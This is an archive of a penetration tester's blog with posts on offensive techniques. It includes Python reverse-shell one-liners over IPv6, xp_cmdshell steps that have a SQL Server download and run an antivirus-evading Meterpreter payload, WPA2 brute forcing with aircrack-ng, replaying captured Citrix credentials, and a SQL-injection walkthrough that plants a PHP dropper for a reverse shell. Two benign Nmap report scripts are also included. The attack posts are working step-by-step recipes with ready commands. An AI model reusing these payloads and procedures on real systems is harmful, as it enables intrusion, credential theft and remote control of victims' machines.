Sunday, February 22, 2015

Python TTY Reverse Shell Over IPv6 One-Liner

Most newer systems come with IPv6 enabled by default, yet many folks continue to forget or are unsure of how to secure IPv6. An admin may create strict rule sets for IPv4, but may neglect to create any for IPv6. This could then be an attack vector to gain access to a system or a method to egress out.

If you find yourself needing to gain a reverse shell with a TTY over IPv6, here is a python one-liner that you can use. This will work with Metasploit's "exploit/multi/handler" module with the "linux/x86/shell/reverse_ipv6_tcp" payload.

There are a few key aspects about connecting over IPv6 with this method that you should also be aware of. You must specify what interface you want to use (even if there is only one) and you must specify the IPv6 Scope Value. The IPv6 Scope Value specifies what type of address you are connecting to. In the example below, we have an IPv6 address that starts with "fe80", which is a link-local address. In this case, the Scope Value would be "2".

Legend:
     = Your IPv6 Connect Back Address
     = The system's network interface to use
     = Port number
     = IPv6 Scope Value


$ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("fe80::ccc:2999:ffff:aaaa%eth0",2222,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'


If for some reason you wanted a reverse shell without a TTY:

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("fe80::ccc:2999:ffff:aaaa%eth0",2222,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'



IPv6 Scope values
ValueScope nameNotes
0x0reserved
0x1interface-localInterface-local scope spans only a single interface on a node, and is useful only for loopback transmission of multicast.
0x2link-localLink-local and site-local multicast scopes span the same topological regions as the corresponding unicast scopes.
0x4admin-localAdmin-local scope is the smallest scope that must be administratively configured, i.e., not automatically derived from physical connectivity or other, non- multicast-related configuration.
0x5site-localLink-local and site-local multicast scopes span the same topological regions as the corresponding unicast scopes.
0x8organization-localOrganization-local scope is intended to span multiple sites belonging to a single organization.
0xeglobal
0xfreserved

Thursday, July 18, 2013

Unprivileged MS SQL Server Service and A/V to Meterpreter Shell

Hey! Long time no blog! I know its been a long while, but here is a fun one that I came across recently that I'd like to share...

Lets say you run were able to find a MS SQL Server instance that was using creds of sa/sa. You think to yourself, SWEET! This is easy! You then try to use the metasploit xp_cmdshell module and find that you can't create a new local user... ACCESS DENIED! Doh! Then you try to use the metasploit mssql_exec module to upload a payload... <cricket> <cricket>... nothing. You realize that MS SQL is running under an unprivileged account and the machine might be running A/V also. So what next? How can we pwn this thing?

Here is one method that you can use...
  1. Connect to the server using MS SQL Server Management Studio. I prefer this way over running the metasploit xp_cmdshell module since it is a lot easier to enter multiple commands. Next we want to get a shell on the system so that we can maneuver around the system easier and attempt to escalate privileges. Since we can only execute one command at a time with xp_cmdshell, we need to find a one line command to download a file somehow. For this we can use the Windows built-in "ftp" command along with a script file.

  2. We will first setup a FTP server to host our file. We can use the metasploit "auxiliary/server/ftp" module for this purpose. Configure it with a username, password, and with a root directory. Run the module with "run" and it will automatically run it as a background job.


  3. Next we will create a reverse meterpreter executable to bypass A/V and place it into the ftp root directory. I won't go into the specifics in this post as there are lots of resources out there. Although one of my favorite methods that is also super easy to use is detailed here: https://www.christophertruncer.com/bypass-antivirus-with-meterpreter-as-the-payload-hyperion-fun/

  4. We now need to setup a handler in metasploit to catch the reverse shell. For this we can use the "exploit/multi/handler" module. Configure the module to match the settings used in your reverse meterpreter executable created in the last step. Run the module with "exploit -j" to run it as a background job.


  5. We will then use the xp_cmdshell stored procedure to create a script file in a folder that the user has access to, typically "c:\windows\temp" is a good bet. The first two lines will send the username and password for the FTP server. The lines after that will set the transfer mode to binary, change directories locally to our c:\windows\temp folder, download the file, and then quit. In MS SQL Server Management Studio, open a new Query window and execute the following queries:

    exec xp_cmdshell 'echo ftpuser > c:\windows\temp\ftp.txt';
    exec xp_cmdshell 'echo ftppass >> c:\windows\temp\ftp.txt';
    exec xp_cmdshell 'echo binary >> c:\windows\temp\ftp.txt';
    exec xp_cmdshell 'echo lcd c:\windows\temp >> c:\windows\temp\ftp.txt';
    exec xp_cmdshell 'echo get file.exe >> c:\windows\temp\ftp.txt';
    exec xp_cmdshell 'echo quit >> c:\windows\temp\ftp.txt'; 


  6. Now you want to ensure that the ftp.txt file is complete by executing the following query:

  7. exec xp_cmdshell 'type c:\windows\temp\ftp.txt';


  8. We will now use the "ftp" command to download the file by executing the following query replacing the IP address with your FTP server's IP address:

  9. exec xp_cmdshell 'ftp -s:c:\windows\temp\ftp.txt 10.0.0.2';

  10. Lets verify that the file has downloaded into our temp directory and hasn't been detected and killed by A/V by executing the following query:

  11. exec xp_cmdshell 'dir c:\windows\temp';

  12. Now that everything is setup and ready to go, we can finally execute the reverse meterpreter file and wait for a connection in metasploit by executing the following query:

  13. exec xp_cmdshell 'c:\windows\temp\file.exe';

  14. Once you have your established meterpreter session, you can do all the usual things. Since the MS SQL Server account is an unprivileged user, we can attempt to escalate privileges by using the command "getsystem". If that works, then you are golden! Have fun and enjoy!!

Monday, April 9, 2012

Brute forcing a 802.11 WPA/WPA2-PSK

I was asked recently if there was a way to brute force a WPA/WPA2 key with aircrack-ng. Aside from the MASSIVE amount of time this would take to actually crack a real password, it was a good exercise and demo.

Aircrack-ng is a tool in the Aircrack-ng suite of tools (http://www.aircrack-ng.org/) that can be used to crack 802.11 WEP, and WPA/WPA2-PSK keys. The only method that is provided by aircrack for cracking WPA/WPA2-PSK is a dictionary attack. This is normally accomplished with the following aircrack-ng command:

aircrack-ng -e <essid> -w <wordlist file> <wpa/wpa2 pcap>

Now, lets say for instance that you wanted to brute force the key instead of supplying a wordlist for a dictionary attack. How do I do this with aircrack-ng when it only accepts a wordlist? To do this, we need to essentially create our own wordlist and then pass that wordlist to aircrack-ng.

To create a "brute force" wordlist, we can use a password generation utility such as crunch (http://sourceforge.net/projects/crunch-wordlist/). With crunch, you can specify a character set, min/max length of characters, etc. and it will generate a list of all the combinations and permutations. From here, we can pass this wordlist to aircrack-ng and start cracking.

Here is an example of how you can use crunch with aircrack-ng using the sample WPA2 packet capture included with the aircrack-ng suite. The WPA2-PSK in the sample is an eight digit number, "12345678". Both of these tools are included in the BackTrack 5 distribution (http://www.backtrack-linux.org/). This command will work on BackTrack 5, but if you are running on a different distro, then you will need to adjust the folder path as appropriate.


/pentest/passwords/crunch/crunch 8 8 0123456789 | aircrack-ng -e "Harkonen" -w - /pentest/wireless/aircrack-ng/test/wpa2.eapol.cap 

Lets break this down... The first command runs crunch and specifies a min-length of 8 characters, a max-length of 8 characters, and the character set that includes all numbers. This will generate all the different combinations of numbers from 00000000 to 99999999. If you wanted to output this to a file for later use, you can use the "-o <output file>" flag. For more info on the different options available with crunch, you can use the command: man crunch.

crunch 8 8 0123456789
crunch <min-length> <max-length> <char set>

Now that we have our "brute force", we need to pass that into aircrack-ng. We could just use crunch and the "-o" flag to output it to a file and then supply that file to aircrack-ng. But I'm lazy... :) Why do that when we could just pipe the results directly into aircrack-ng? The next part of command runs aircrack-ng and specifies the ESSID (Wireless network name or SSID), the wordlist, and the packet capture to crack from. You will notice that instead of specifying a wordlist filename for the "-w" flag, we instead use "-" (hyphen). This indicates to get the input from stdin instead of a file.

aircrack-ng -e "Harkonen" -w - /pentest/wireless/aircrack-ng/test/wpa2.eapol.cap

Then you put it all together with the "|" (pipe) character to direct the stdout from the crunch command to the stdin of the aircrack-ng command.

/pentest/passwords/crunch/crunch 8 8 0123456789 | aircrack-ng -e "Harkonen" -w - /pentest/wireless/aircrack-ng/test/wpa2.eapol.cap 

Again, keep in mind that even with a simple example such as this, it will still take a few hours to crack the key of "12345678". As you can see, brute forcing a WPA/WPA2 key really isn't practical as the amount of time required to crack a key grows exponentially as the length of the key and character set increases. But in any case, if you did want to give it a shot, you now know how. Enjoy! :)

Saturday, March 17, 2012

Nmap Open Ports Comparison Script

Since I was writing my other Nmap script, I thought that it would be beneficial to have a script that would compare two Nmap scans and report the differences in open ports. This would be handy for a few reasons, compliance, baseline scan comparisons, change control, etc.

This script takes the XML output file from your baseline Nmap scan and will compare it with the XML output from your current scan. For each host in the scan, the script will show you the open ports in the baseline and current scans, any new open ports that it found in the current scan, and any open ports in the baseline scan that are no longer open. It supports TCP and UDP ports.

This Perl script will use the same Nmap Parser module that I mentioned in my previous post. (http://search.cpan.org/~apersaud/Nmap-Parser/).

We need to ensure we take care of a couple of dependencies first:
  1. The first step is obviously to install Perl 5+ if you haven't already. 
  2. Then you need to install the Nmap Parser module. You can do this with the following command: perl -MCPAN -e 'install Nmap::Parser'
  3. Done!
Here is the actual perl script. Just copy/paste it and run. It takes two arguments. The first is the name of your baseline Nmap XML file and the second is the name of your current Nmap XML file.

#!/usr/bin/perl

# Author: Travis Lee
# Date Modified: 3-16-12
# Description: Script to compare results from two Nmap XML output files
#              and display the differences in open ports.
#
# Usage: NmapScanCompare.pl <baseline nmap scan.xml> <current nmap scan.xml>
#

use Nmap::Parser;
$base = new Nmap::Parser;
$curr = new Nmap::Parser;

if (!$ARGV[0] || !$ARGV[1])
{
print "Usage: NmapScanCompare.pl <baseline nmap scan.xml> <current nmap scan.xml>\n\n";
exit;
}

$base_file = $ARGV[0]; #baseline scan filename from command line
$curr_file = $ARGV[1]; #current scan filename from command line

$base->parsefile($base_file); #load baseline scan file
$curr->parsefile($curr_file); #load current scan file

$base_session = $base->get_session;
$curr_session = $curr->get_session;

print "\n\nBaseline Scan Parameters: ".$base_session->scan_args." -- Scan finished on: ".$base_session->time_str."\n";
print "Current Scan Parameters: ".$curr_session->scan_args." -- Scan finished on: ".$curr_session->time_str."\n";

#loop through all the IPs in the current scan file
for my $ip ($curr->get_ips) 
{
        #assume that IPs in current scan == IPs in base scan
        my $ip_base = $base->get_host($ip);
        my $ip_curr = $curr->get_host($ip);

#populate arrays with baseline and current tcp/udp open ports
my @base_tcpports = $ip_base->tcp_open_ports;
my @base_udpports = $ip_base->udp_open_ports;
my @curr_tcpports = $ip_curr->tcp_open_ports;
my @curr_udpports = $ip_curr->udp_open_ports;

#find tcp ports that exist in the current scan and not in the baseline scan
@curr_tcpdiff = &portdiff(\@base_tcpports, \@curr_tcpports);

#find tcp ports that existed in the baseline scan that do NOT exist in the current scan
@base_tcpdiff = &portdiff(\@curr_tcpports, \@base_tcpports);

#find udp ports that exist in the current scan and not in the baseline scan
@curr_udpdiff = &portdiff(\@base_udpports, \@curr_udpports);

#find tcp ports that existed in the baseline scan that do NOT exist in the current scan
@base_udpdiff = &portdiff(\@curr_udpports, \@base_udpports);

#give the open port arrays a value of "none" if no open ports are found
if (!@base_tcpports) { @base_tcpports = ("none"); }
if (!@curr_tcpports) { @curr_tcpports = ("none"); }
if (!@base_udpports) { @base_udpports = ("none"); }
if (!@curr_udpports) { @curr_udpports = ("none"); }

#give the diff arrays a value of "none" if no port diffs are found
if (!@base_tcpdiff) { @base_tcpdiff = ("none"); }
if (!@curr_tcpdiff) { @curr_tcpdiff = ("none"); }
if (!@base_udpdiff) { @base_udpdiff = ("none"); }
if (!@curr_udpdiff) { @curr_udpdiff = ("none"); }

print "\nReport for $ip:\n\n";
#print "Baseline scan had these TCP ports open: ".join(',',@base_tcpports)."\n";
#print "Current scan has these TCP ports open: ".join(',',@curr_tcpports)."\n\n";
        print "  New TCP ports open: ".join(',',@curr_tcpdiff)."\n";
        print "  TCP ports that are not open anymore: ".join(',',@base_tcpdiff)."\n\n";

#print "Baseline scan had these UDP ports open: ".join(',',@base_udpports)."\n";
#print "Current scan has these UDP ports open: ".join(',',@curr_udpports)."\n\n";
        print "  New UDP ports open: ".join(',',@curr_udpdiff)."\n";
        print "  UDP ports that are not open anymore: ".join(',',@base_udpdiff)."\n\n";
        
} #end for loop

#find ports that exists in $_[0], but not in $_[1]
sub portdiff
{
        my %port = ();
        my @result = ();
my @a = @{$_[0]}; #first parameter from sub call
my @b = @{$_[1]}; #second parameter from sub call

#build the lookup table
foreach $item (@a) { $port{$item} = 1; }

#find only elements in @b and not in @a
foreach $item (@b)
{
unless ($port{$item}) 
{
push(@result, $item); #it's not seen so add to @result
}
}

return @result;

} #end sub

Again, I am not a Perl ninja so it may not be the most efficient, but it works. If you have any suggestions on improvements to the script, please let me know! I would love to make this better and more helpful for anyone that needs it.

And of course there is also the obligatory disclaimer to use this at your own risk. :) Enjoy!

Monday, March 5, 2012

Converting Nmap XML output to CSV (Excel) Script

Ever ran a Nmap scan and wished that there was a way to easily get the data into Excel? You could want the data in Excel for a number of reasons... I personally like to have it in Excel sometimes so it is easier to track information about the host, OS, ports, services, vulnerabilities, etc.

The closest output that Nmap has is its built in XML format (-oX flag). Using this XML output I have created a perl script that easily converts the XML output into a CSV file for use in Excel. Luckily, a guy named Anthony Persaud created an Nmap Parser module for perl that we can use (http://search.cpan.org/~apersaud/Nmap-Parser/).

We need to ensure we take care of a couple of dependencies first:

  1. The first step is obviously to install Perl 5+ if you haven't already. 
  2. Then you need to install the Nmap Parser module. You can do this with the following command: perl -MCPAN -e 'install Nmap::Parser'
  3. That's it! Not too shabby.

Here is the actual perl script. Just copy/paste it and run. It takes two arguments. The first is the name of the Nmap XML file and the second is the name of your output file. 

#!/usr/bin/perl

# Author: Travis Lee
# Date Modified: 3-5-12
# Description: Script to convert a Nmap scan XML file to CSV
#
# Usage: NmapXMLtoCSV.pl <nmap xml file.xml> <output file.csv>
#

use Nmap::Parser;
$base = new Nmap::Parser;

if (!$ARGV[0] || !$ARGV[1])
{
print "Usage: NmapXMLtoCSV.pl <nmap xml file.xml> <output file.csv>\n\n";
exit;
}

$base_file = $ARGV[0]; #baseline scan filename from command line
$out_file = $ARGV[1]; #output filename from command line

$base->parsefile($base_file); #load baseline scan file

open (OUTFILE, ">$out_file");

$session = $base->get_session;
print OUTFILE $session->scan_args."  --  Scan finished on: ".$session->time_str;

print OUTFILE "\n\nIP,Hostname,MAC,OS,Port,Proto,State,Service,Version\n";

#loop through all the IPs in the current scan file
for my $ip ($base->get_ips) 
{
        #get host object for the current IP
        $ip_base = $base->get_host($ip);

#populate arrays with tcp/udp ports
my @tcpports = $ip_base->tcp_ports;
my @udpports = $ip_base->udp_ports;

print OUTFILE $ip_base->ipv4_addr.",";
print OUTFILE $ip_base->hostname.",";
print OUTFILE $ip_base->mac_addr.",";

#get os object for the current IP
my $os = $ip_base->os_sig;

#if smb-os-discrovery script was run, use this value for os. more accurate
if ($ip_base->hostscripts("smb-os-discovery"))
{
my @os_split1 = split(/\n/, $ip_base->hostscripts("smb-os-discovery"));
my @os_split2 = split("OS: ", $os_split1[1]);
print OUTFILE $os_split2[1].",";
}
else { print OUTFILE $os->name.","; } #else use what was discovered with os fingerprint

$first = 1;

&portout(\@tcpports, "tcp");
&portout(\@udpports, "udp");

print OUTFILE "\n";
        
} #end for loop

close (OUTFILE);
print "\n\nConversion complete!\n\n";

sub portout
{
my @ports = @{$_[0]};
my $proto = $_[1];

for my $port (@ports)
{
#get service object for the given port
if ($proto eq "tcp")
{
$svc = $ip_base->tcp_service($port);
}
elsif ($proto eq "udp")
{
$svc = $ip_base->udp_service($port);
}

if ($first == 1) { $first = 0; }
else { print OUTFILE ",,,,"; }

print OUTFILE $port.",";
print OUTFILE $proto.",";

if ($proto eq "tcp")
{
print OUTFILE $ip_base->tcp_port_state($port).",";
}
elsif ($proto eq "udp")
{
print OUTFILE $ip_base->udp_port_state($port).",";
}

print OUTFILE $svc->name.",";
print OUTFILE $svc->product."\n";

} #end for loop

} #end sub



I am not a professional perl ninja so it may not be the most efficient, but it works. If you have any suggestions on improvements to the script, please let me know! I would love to make this better and more helpful for anyone that needs it.

And of course there is also the obligatory disclaimer to use this at your own risk. :) Enjoy!

Thursday, December 1, 2011

Citrix Receiver, XenDesktop "Pass-the-hash" Attack


I was performing some tests recently against a Citrix XenDesktop implementation and came across this.  This was tested against Citrix XenDesktop, XenServer, Receiver 5.6 SP2. This could affect other versions as well.

The Citrix Receiver application connects to a Citrix Web Interface to provide a virtual desktop to a user. The authentication between the Receiver and the Web Interface is done in an XML call over HTTP.  By default, the authentication is not configured to use SSL. I would venture to guess that many businesses would not configure SSL on an internal implementation, but thats a conversation for another time.

The Receiver app sends a POST request to enum.aspx and launch.aspx which contains the username and an encoded password amongst other information.  Now, instead of trying to crack the encoded password, an attacker can just use it just as if they had the actual password.  If an attacker can capture the authentication transaction traffic, an attacker can "pass-the-hash" with the captured username and encoded password and gain access to the account and any virtual applications and desktops as that user.

To perform the attack:
  1. Capture the victims authentication traffic when they login with the Receiver app.
  2. Extract the username and encoded password from the POST request to enum.aspx (shown below).

    POST /Citrix/XDPNAgent/enum.aspx HTTP/1.1 
    Content-Type: application/x-www-form-urlencoded 
    User-Agent: C:\PROGRA~1\Citrix\ICACLI~1\PNAMain.exe 
    Host: xxx.xxx.xxx.xxx 
    Content-Length: 705 
    Connection: Keep-Alive 
    Cache-Control: no-cache 

    <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd"><NFuseProtocol version="4.6"><RequestAppData><Scope traverse="onelevel" type="PNFolder">$PRELAUNCH$</Scope><DesiredDetails>permissions</DesiredDetails><DesiredDetails>icon-info</DesiredDetails><DesiredDetails>all</DesiredDetails><ServerType>x</ServerType><ServerType>win32</ServerType><ClientType>ica30</ClientType><ClientType>content</ClientType><Credentials><UserName>domain\myuser</UserName><Password encoding="ctx1">ENCODEDPASSWORDHERE</Password><Domain type="NT"></Domain></Credentials><ClientName>COMPUTER01</ClientName><ClientAddress>xxx.xxx.xxx.xxx</ClientAddress></RequestAppData></NFuseProtocol>

  3. Launch a local proxy tool such as Burp and go into Internet Explorer and configure it to proxy through Burp.  This is usually your loopback address, 127.0.0.1 port 8080.
  4. Open the Receiver app and log in with the username and a blank password.
  5. Burp will then intercept the POST request that looks like above.
  6. Copy the captured encoded password and paste it into the "Password" XML field and then forward the request on.  There will be several of these requests that you will have to do it for.
  7. Voila! Now you are logged into the Receiver app as the victim. Now you can launch whatever virtual desktop is associated to that user.
  8. Here is a little tricky part. When you launch the virtual desktop, it will again send a similar authentication request where you will paste the encoded password into, but you CANNOT leave the connection running through the local proxy or the virtual desktop will not launch.
  9. Open Internet Explorer and prep the configuration to not use any proxy, but don't click OK yet.
  10. Click on a virtual desktop through the Receiver to launch it.
  11. Burp will then intercept the authentication request to launch.aspx. Paste the encoded password into the "Password" XML field again.
  12. After you forward the request in Burp, IMMEDIATELY switch over to Internet Explorer and apply the proxy settings so that it does not use a proxy anymore. 
  13. If you did it quick enough, the virtual desktop will launch and you will be logged in as the victim and have complete access to their account, desktop, files, etc...

Tuesday, June 21, 2011

Going from SQL Injection to Reverse Shell Walkthrough

So much for trying to start blogging... I started this blog a few months ago and totally forgot about it... hah! Well, here is the first real post! Enjoy!

Anyway, I was trying to look on the interwebz for a good walkthrough on getting a reverse shell from a SQLi vulnerability on a LAMP system and couldn't find one (unless my google-fu sucks) so here is one that I have put together.  This is assuming a fairly standard/secure configuration where both MySQL and Apache are not running as root and have little privileges and that your MySQL user has write privs to your www directory.
  1. First you need to find your SQL injection vulnerability. :)
  2. Next, we need to generate our payload.  We will use msfpayload for this and base64 encode it twice to ensure that we don't have any bad chars when we send it to the remote server. Change the LHOST option to match your local IP.  You can also specify a specific port with LPORT=<port>.
    1. # msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.20 X | base64 | base64
    2. You will then get your base64 encoded string. Copy it.
  3. We now need to send it to our remote server through the SQL injection vulnerability.  Best place to create the file is in the /tmp directory on the remote server as any account has access to it.
    1. http://www.bad.site/vulnpage.php?id=-1 UNION SELECT “ZjBWTVJnRUJBUUFBQUFBQUFBQUFBQUlBQXdBQkFBQUFWSUFFQ0RRQUFBQUFBQUFBQUFBQUFEUUFJQUFCQUFBQUFBQUFBQUVBQUFBQQpBQUFBQUlBRUNBQ0FCQWk0QUFBQXVBQUFBQWNBQUFBQUVBQUFNZHRUUTFOcUFtcG1XSW5oellDWFcyakFxQUVVWm1nUlhHWlRpZUZxClpsaFFVVmVKNFVQTmdGdVp0Z3l3QTgyQS8rRT0K" INTO OUTFILE '/tmp/mettemp'
  4. Next we need to create a PHP page to base64 decode the payload and create a new file that the apache user can execute.  This page will read the file with the base64 encoded string that we create earlier, base64 decode it, create a new file in the /tmp directory, chmod the file so its executable, then execute the file.
    1. http://www.bad.site/vulnpage.php?id=-1 UNION SELECT '<?php $myfile = "/tmp/mettemp"; $myfile2 = "/tmp/metexec"; $fh = fopen($myfile, "r"); $data = fread($fh, filesize($myfile)); fclose($fh); $fh2 = fopen($myfile2, "a"); fwrite($fh2, base64_decode(base64_decode($data))); fclose($fh2); system("chmod 777 " . $myfile2); system($myfile2); echo "pwned"; ?>' INTO OUTFILE '/var/www/html/rev_shell.php'
  5. On your local system, you need to then start your handler for the reverse shell.
    1. # msfcli exploit/multi/handler payload=linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.20 E
  6. Now all you need to do is browse to the rev_shell.php page that you created earlier and enjoy your reverse meterpreter shell.

You will only have the privs of the apache user, but then you can continue with privilege escalation for more fun.

If you want to test this out in a lab environment, you can use the Damn Vulnerable Web App (DVWA) in the Web Security Dojo VM and a BackTrack VM.